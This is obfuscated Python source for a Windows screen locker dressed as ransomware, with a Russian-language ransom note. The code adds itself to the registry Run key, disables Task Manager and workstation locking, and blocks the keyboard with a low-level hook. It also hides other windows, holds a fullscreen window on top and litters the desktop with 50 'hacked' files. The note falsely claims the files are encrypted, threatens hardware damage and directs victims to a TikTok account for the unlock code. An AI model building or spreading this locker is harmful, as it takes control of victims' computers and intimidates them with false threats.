Загрузка данных
import tkinter as _0x00000001
import random as _0x00000002
import threading as _0x00000003
import time as _0x00000004
import winsound as _0x00000005
import sys as _0x00000006
import ctypes as _0x00000007
import winreg as _0x00000008
import os as _0x00000009
from ctypes import wintypes as _0x0000000A
try:
import pygame as _0x0000000B
_0x0000000C = True
except ImportError:
_0x0000000C = False
_0x0000000D = "6969"
_0x0000000E = "Lucida Console"
_0x0000000F = "SystemLock"
_0x00000010 = "musec.mp3"
# <<< цвета
_BG_BLACK = "#000000"
_BG_PURPLE = "#1a0033"
_BG_FLASH = "#4b0082" # фиолетовый для мигания
# <<< рабочий стол для txt
_DESKTOP = _0x00000009.path.join(_0x00000009.path.expanduser("~"), "Desktop")
def _spawn_docs():
# <<< 50 текстовых документов на рабочем столе
try:
if not _0x00000009.path.isdir(_DESKTOP):
return
for _i in range(50):
_p = _0x00000009.path.join(_DESKTOP, f"text_{_i+1}.txt")
with open(_p, "w", encoding="utf-8") as _f:
_f.write("ВЗЛОМАН АХАХХАХАХА")
except Exception:
pass
def _0x00000011():
if not _0x0000000C:
return
try:
_0x0000000B.mixer.init()
if getattr(_0x00000006, "frozen", False):
_0x00000012 = _0x00000006._MEIPASS
else:
_0x00000012 = _0x00000009.path.dirname(_0x00000009.path.abspath(_0x00000006.argv[0]))
_0x00000013 = _0x00000009.path.join(_0x00000012, _0x00000010)
if not _0x00000009.path.exists(_0x00000013):
return
_0x0000000B.mixer.music.load(_0x00000013)
_0x0000000B.mixer.music.set_volume(0.7)
_0x0000000B.mixer.music.play(-1)
except Exception:
pass
def _0x00000014():
if not _0x0000000C:
return
try:
_0x0000000B.mixer.music.stop()
except Exception:
pass
_0x00000015 = []
def _0x00000016():
try:
_0x00000017 = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, _0x00000008.KEY_READ)
try:
_0x00000018, _ = _0x00000008.QueryValueEx(_0x00000017, _0x0000000F)
_0x00000008.CloseKey(_0x00000017)
_0x00000018 = _0x00000018.strip('"')
_0x00000019 = _0x00000009.path.abspath(_0x00000006.argv[0])
return _0x00000009.path.normcase(_0x00000018) == _0x00000009.path.normcase(_0x00000019)
except FileNotFoundError:
_0x00000008.CloseKey(_0x00000017)
return False
except Exception:
return False
def _0x0000001A():
if _0x00000016():
return
try:
_0x0000001B = _0x00000009.path.abspath(_0x00000006.argv[0])
_0x0000001C = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, _0x00000008.KEY_SET_VALUE)
_0x00000008.SetValueEx(_0x0000001C, _0x0000000F, 0, _0x00000008.REG_SZ, f'"{_0x0000001B}"')
_0x00000008.CloseKey(_0x0000001C)
except Exception:
pass
def _0x0000001D():
try:
_0x0000001E = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, _0x00000008.KEY_SET_VALUE)
_0x00000008.DeleteValue(_0x0000001E, _0x0000000F)
_0x00000008.CloseKey(_0x0000001E)
except FileNotFoundError:
pass
except Exception:
pass
def _0x0000001F():
try:
_0x00000020 = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run", 0, _0x00000008.KEY_SET_VALUE)
_0x00000008.DeleteValue(_0x00000020, _0x0000000F)
_0x00000008.CloseKey(_0x00000020)
except FileNotFoundError:
pass
except Exception:
pass
_0x00000021 = 13
_0x00000022 = 0x0100
_0x00000023 = 0x0104
class _0x00000024(_0x00000007.Structure):
_fields_ = [
("vkCode", _0x0000000A.DWORD),
("scanCode", _0x0000000A.DWORD),
("flags", _0x0000000A.DWORD),
("time", _0x0000000A.DWORD),
("dwExtraInfo", _0x00000007.POINTER(_0x00000007.c_ulong))
]
_0x00000025 = None
_0x00000026 = None
def _0x00000027(_0x00000028, _0x00000029, _0x0000002A):
if _0x00000028 == 0 and _0x00000029 in (_0x00000022, _0x00000023):
return 1
return _0x00000007.windll.user32.CallNextHookEx(None, _0x00000028, _0x00000029, _0x0000002A)
def _0x0000002B():
global _0x00000025, _0x00000026
try:
_0x00000026 = _0x00000007.WINFUNCTYPE(_0x00000007.c_int, _0x00000007.c_int, _0x0000000A.WPARAM, _0x0000000A.LPARAM)(_0x00000027)
_0x00000025 = _0x00000007.windll.user32.SetWindowsHookExW(_0x00000021, _0x00000026, None, 0)
_0x0000002C = _0x0000000A.MSG()
while _0x00000007.windll.user32.GetMessageW(_0x00000007.byref(_0x0000002C), None, 0, 0) != 0:
_0x00000007.windll.user32.TranslateMessage(_0x00000007.byref(_0x0000002C))
_0x00000007.windll.user32.DispatchMessageW(_0x00000007.byref(_0x0000002C))
except Exception:
pass
def _0x0000002D():
try:
_0x0000002E = _0x00000008.CreateKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\System")
_0x00000008.SetValueEx(_0x0000002E, "DisableTaskMgr", 0, _0x00000008.REG_DWORD, 1)
_0x00000008.SetValueEx(_0x0000002E, "DisableLockWorkstation", 0, _0x00000008.REG_DWORD, 1)
_0x00000008.CloseKey(_0x0000002E)
except Exception:
pass
def _0x0000002F():
try:
_0x00000030 = _0x00000008.OpenKey(_0x00000008.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Policies\System", 0, _0x00000008.KEY_SET_VALUE)
_0x00000008.SetValueEx(_0x00000030, "DisableTaskMgr", 0, _0x00000008.REG_DWORD, 0)
_0x00000008.SetValueEx(_0x00000030, "DisableLockWorkstation", 0, _0x00000008.REG_DWORD, 0)
_0x00000008.CloseKey(_0x00000030)
except Exception:
pass
def _0x00000031(_0x00000032, _0x00000033):
try:
_0x00000005.Beep(_0x00000032, _0x00000033)
except Exception:
pass
def _0x00000034():
try:
_0x00000005.Beep(2400, 1500)
except Exception:
pass
# <<< ASCII-арт
_0x00000046 = r"""@@@@@@@@@@@%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%@@@@@@
@@@@@@@@@@+ =%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%= =@@@@@
@@@@@@@@%: =%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*: =@@@@
@@@@@@@#. +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ +@@@
@@@@@@#: +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%= .#@@
@@@@@%- :#@@@@@@@@@%+*#@@@@@@@@@@@@@@@@@@@@@@@@@@@= =@@
@@@@@+ :%@@@@@@@%. :=#%@@@@@@@@@@@@@@@@%+ :#@
@@@@% -%@@@@@@* .-#@@@@@@@@@@@@+. *@
@@@@= .+@@@@@@+ :%@@@@@@@%. -@
@@@@ .#@@@@@*. .*@@@%- :%
@@@* -%@@@@%%%. **. .%
@@@* .-*+-. :*- .%
@@@* :#+. :%
@@@* +#*++++++++++**=. -@
@@@% *@
@@@@- :%@
@@@@% .+@@
@@@@@+ -@@@
@@@@@%- .::---=====+++++++: -@@@@
@@@@@@%: =#%@%%%%%%@@@@@%#*+ -@@@@@@@%: .%. +@@@@@
@@@@@@@%: += -@@@@@@@%. *@@@@@@@@- -* .*@@@@@@
@@@@@@@@@= :*. =@@@@@@@@. #@@@@@@@@- .*: =@@@@@@@@
@%@@@@@@@@#. == =@@@@@@@@. #@@@@@@@@: +- -%#+=--+%@@
@*...::--==: .+- :@@@@@@@%. =@@@@@@@#. += .#@@@
@@+. +- #@@@@@@+ +@@@@@%- +- .+@@@@@
@@@%=. -*. :%@@@@*. :*#*-. =: .+%@@@@@@
@@@@@@%+: -- .=#*: :#%#*. %@@@@@@@@@
@@@@@@@@+ :=+*- .:: :+*-.==. .*@@@@@@@@
@@@@@@@*. **=:. . =*-. :#@@@@@@
@@@@@@#: .:. .-**+=---+*+. .*@@@@@
@@@@@#. .-++=:. . *@@@@
@@@@%......:=#+. .:*@@@@%%%@@@@@@@@@@
@@@@@@@@@@@@@@@@%#=: .:=*%@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@%+:. .=+%@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@* .:-=+++*: :%@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@= :@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@*-. :@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@%-. -@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@%= .+@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@=---+: :#@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@+ =%@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@* #@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@#. -@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@%- #@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@*. -@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@%- .%@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@#. +@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@= -@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@. :#@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@# .#@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@= .+@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@. +@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@# =@@@@@@@@@@@@@@@@"""
_0x00000035 = _0x00000001.Tk()
_0x00000035.title("ВАС ЗАМЕТИЛИ")
_0x00000035.attributes("-fullscreen", True)
_0x00000035.attributes("-topmost", True)
_0x00000035.configure(bg=_BG_BLACK)
_0x00000035.protocol("WM_DELETE_WINDOW", lambda: None)
_0x00000035.overrideredirect(True)
_0x00000035.update_idletasks()
_0x00000035.lift()
_0x00000035.attributes("-topmost", True)
_0x00000035.focus_force()
_0x00000036 = _0x00000001.Canvas(_0x00000035, bg=_BG_BLACK, highlightthickness=0)
_0x00000036.pack(fill=_0x00000001.BOTH, expand=True)
_0x00000037 = _0x00000035.winfo_screenwidth()
_0x00000038 = _0x00000035.winfo_screenheight()
_0x00000039 = _0x00000037 // 2
_0x0000003A = _0x00000038 // 2
_0x0000003B = 12
_0x0000003C = []
def _0x0000003D():
for _0x0000003E in range(_0x0000003B):
_0x0000003F = f"Boot error: 0x{_0x00000002.randint(0x10000000, 0xFFFFFFFF):08X}"
_0x00000040 = _0x00000036.create_text(20, 20 + _0x0000003E * 22, text=_0x0000003F, fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
_0x0000003C.append(_0x00000040)
_0x00000036.update()
_0x00000031(_0x00000002.randint(400, 900), 25)
_0x00000004.sleep(0.08)
_0x00000041 = _0x00000036.create_text(20, 20 + _0x0000003B * 22, text="Memory section at address 0x0424* is locked!", fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
_0x00000042 = _0x00000036.create_text(20, 20 + (_0x0000003B + 1) * 22, text="Service NuroCrypter started.", fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
_0x00000043 = _0x00000036.create_text(20, 20 + (_0x0000003B + 2) * 22, text="* Windows blocked!", fill="#ffffff", anchor="nw", font=(_0x0000000E, 13, "bold"))
_0x00000036.update()
_0x00000004.sleep(0.5)
for _0x00000044 in _0x0000003C + [_0x00000041, _0x00000042, _0x00000043]:
_0x00000036.itemconfig(_0x00000044, fill="#ff0000")
_0x00000036.update()
_0x00000004.sleep(1.5)
_0x00000035.after(0, _0x00000045)
# <<< мигание
_0x000000_flash_stop = False
_0x000000_flash_state = [0]
def _0x000000_flash():
if _0x000000_flash_stop:
return
# чёрный ↔ фиолетовый, 25 мс
_c = _BG_FLASH if _0x000000_flash_state[0] else _BG_BLACK
try:
_0x00000035.configure(bg=_c)
_0x00000036.configure(bg=_c)
except Exception:
return
_0x000000_flash_state[0] ^= 1
_0x00000035.after(25, _0x000000_flash)
def _0x00000045():
global _0x000000_flash_stop
_0x00000036.delete("all")
_0x00000036.update()
# высокий писк
_0x00000003.Thread(target=_0x00000034, daemon=True).start()
# 50 txt на рабочий стол
_0x00000003.Thread(target=_spawn_docs, daemon=True).start()
# мигание
_0x000000_flash_stop = False
_0x00000035.after(0, _0x000000_flash)
# ASCII-арт
_0x00000036.create_text(_0x00000039, _0x0000003A, text=_0x00000046,
fill="#ffffff", font=(_0x0000000E, 10), anchor="center")
_0x00000036.update()
# <<< 3 секунды мигания → стоп → финал
def _finish():
global _0x000000_flash_stop
_0x000000_flash_stop = True
_0x00000004.sleep(0.1)
_0x00000035.after(0, _0x00000047)
_0x00000035.after(3000, _finish)
_0x00000048 = None
def _0x00000049(_0x0000004A):
global _0x00000048
if _0x00000048:
_0x00000048.insert(_0x00000001.END, _0x0000004A)
def _0x0000004B():
global _0x00000048
if _0x00000048:
_0x0000004C = _0x00000048.get()
_0x00000048.delete(0, _0x00000001.END)
_0x00000048.insert(0, _0x0000004C[:-1])
def _0x00000047():
global _0x00000048
_0x00000036.delete("all")
_0x00000035.configure(bg=_BG_PURPLE)
_0x00000036.configure(bg=_BG_PURPLE)
_0x00000036.update()
_0x00000003.Thread(target=_0x00000011, daemon=True).start()
_0x0000004D = _0x00000001.Frame(_0x00000035, bg=_BG_PURPLE)
_0x00000036.create_window(_0x00000039, _0x0000003A, window=_0x0000004D)
_0x00000001.Label(_0x0000004D, text="Ваши файлы зашифрованы!", bg="#ffffff", fg="#000000", font=(_0x0000000E, 14, "bold"), padx=10, pady=4).pack(pady=(0, 10))
_0x0000004E = _0x00000001.Frame(_0x0000004D, bg=_BG_PURPLE, bd=2, relief="solid", highlightbackground="#ffffff", highlightthickness=2)
_0x0000004E.pack(fill="x")
_0x0000004F = (
"Упс! Вы подверглись масштабной хакерской атаке теперь ваш компьютер\n"
"заблокирован, а все имеющиеся диски и файлы на них зашифрованы хакерской\n"
"группировкой. Любые действия, связанные с попыткой обмануть систему\n"
"нанесут непоправимый вред вашему компьютеру и приведет к потере всех\n"
"важных файлов без возможности восстановления. При попытке снять\n"
"блокировку MBR (главный загрузчик материнки) будет снесён и будет подана\n"
"рекурсивная нагрузка на ваш процессор, что приведет к его неисправности.\n"
"Что бы получить код, напиши @mat3l0rdfan (TikTok)\n"
"Удачи! ^_^"
)
_0x00000001.Label(_0x0000004E, text=_0x0000004F, bg=_BG_PURPLE, fg="#ffffff", font=(_0x0000000E, 12, "bold"), justify="left").pack(padx=10, pady=6)
_0x00000050 = _0x00000001.Frame(_0x0000004D, bg=_BG_PURPLE, bd=2, relief="solid", highlightbackground="#ffffff", highlightthickness=2)
_0x00000050.pack(fill="x", pady=(5, 0))
_0x00000001.Label(_0x00000050, text="Введите код разблокировки:", bg=_BG_PURPLE, fg="#ffffff", font=(_0x0000000E, 13, "bold")).pack(pady=4)
_0x00000048 = _0x00000001.Entry(_0x00000050, font=(_0x0000000E, 18, "bold"), justify="center", bd=0, bg="#ffffff", fg="#000000", insertbackground="#000000")
_0x00000048.pack(fill="x", padx=5, pady=(0, 5), ipady=6)
_0x00000048.focus_force()
_0x00000051 = _0x00000001.Frame(_0x0000004D, bg=_BG_PURPLE)
_0x00000051.pack(pady=(10, 0))
_0x00000052 = [
("1", 0, 0), ("2", 0, 1), ("3", 0, 2),
("4", 1, 0), ("5", 1, 1), ("6", 1, 2),
("7", 2, 0), ("8", 2, 1), ("9", 2, 2),
("Clear", 3, 0), ("0", 3, 1), ("Enter", 3, 2),
]
for _0x00000053, _0x00000054, _0x00000055 in _0x00000052:
if _0x00000053 == "Clear":
_0x00000056 = _0x0000004B
elif _0x00000053 == "Enter":
_0x00000056 = _0x00000057
else:
_0x00000056 = lambda _0x00000058=_0x00000053: _0x00000049(_0x00000058)
_0x00000001.Button(_0x00000051, text=_0x00000053, command=_0x00000056, font=(_0x0000000E, 14, "bold"), bg="#ffffff", fg="#000000", activebackground="#cccccc", activeforeground="#000000", width=8, height=2, bd=1, relief="solid").grid(row=_0x00000054, column=_0x00000055, padx=2, pady=2)
_0x00000036.create_text(20, _0x00000038 - 60, text="ID: 10-A214B470E14323", fill="#ffffff", anchor="w", font=(_0x0000000E, 12, "bold"))
_0x00000036.create_text(20, _0x00000038 - 35, text="Current PC: WIN-73R05P0NDEF", fill="#ffffff", anchor="w", font=(_0x0000000E, 12, "bold"))
_0x00000036.update()
def _0x00000057():
global _0x00000048
if _0x00000048 and _0x00000048.get() == _0x0000000D:
_0x00000014()
_0x00000059()
_0x0000002F()
_0x0000001D()
_0x0000001F()
_0x00000035.destroy()
_0x00000006.exit(0)
elif _0x00000048:
_0x00000048.delete(0, _0x00000001.END)
def _0x0000005A():
_0x0000005B = _0x00000007.windll.user32
_0x0000005C = _0x00000007.windll.kernel32
_0x0000005D = _0x0000005C.GetCurrentProcessId()
def _0x0000005E(_0x0000005F, _0x00000060):
_0x00000061 = _0x0000000A.DWORD()
_0x0000005B.GetWindowThreadProcessId(_0x0000005F, _0x00000007.byref(_0x00000061))
if _0x00000061.value == _0x0000005D:
return True
if not _0x0000005B.IsWindowVisible(_0x0000005F):
return True
_0x00000062 = _0x00000007.create_unicode_buffer(256)
_0x0000005B.GetClassNameW(_0x0000005F, _0x00000062, 256)
_0x00000063 = _0x00000062.value
_0x00000064 = (
"Shell_TrayWnd", "Shell_SecondaryTrayWnd",
"Progman", "WorkerW", "Windows.UI.Core.CoreWindow",
"TaskManagerWindow", "TaskMgr",
"ApplicationFrameWindow",
"Windows.Internal.Shell.TabProxyWindow",
)
if _0x00000063 in _0x00000064:
return True
_0x00000065 = _0x0000005C.OpenProcess(0x1000, False, _0x00000061.value)
if _0x00000065:
_0x00000066 = _0x00000007.create_unicode_buffer(260)
_0x00000067 = _0x0000000A.DWORD(260)
_0x0000005C.QueryFullProcessImageNameW(_0x00000065, 0, _0x00000066, _0x00000007.byref(_0x00000067))
_0x0000005C.CloseHandle(_0x00000065)
if "explorer.exe" in _0x00000066.value.lower():
return True
if not _0x0000005B.IsIconic(_0x0000005F):
if _0x0000005F not in _0x00000015:
_0x00000015.append(_0x0000005F)
try:
_0x0000005B.ShowWindow(_0x0000005F, 6)
except Exception:
pass
return True
_0x00000068 = _0x00000007.WINFUNCTYPE(_0x0000000A.BOOL, _0x0000000A.HWND, _0x0000000A.LPARAM)
while True:
try:
_0x0000005B.EnumWindows(_0x00000068(_0x0000005E), 0)
except Exception:
pass
_0x00000004.sleep(0.5)
def _0x00000059():
_0x00000069 = _0x00000007.windll.user32
for _0x0000006A in list(_0x00000015):
try:
_0x00000069.ShowWindow(_0x0000006A, 9)
except Exception:
pass
_0x00000015.clear()
def _0x0000006B():
while True:
_0x00000004.sleep(1)
try:
_0x00000035.attributes("-topmost", True)
_0x00000035.lift()
_0x00000035.focus_force()
except Exception:
pass
_0x0000001A()
_0x0000002D()
_0x00000003.Thread(target=_0x0000002B, daemon=True).start()
_0x00000003.Thread(target=_0x0000005A, daemon=True).start()
_0x00000003.Thread(target=_0x0000006B, daemon=True).start()
_0x00000003.Thread(target=_0x0000003D, daemon=True).start()
_0x00000035.mainloop()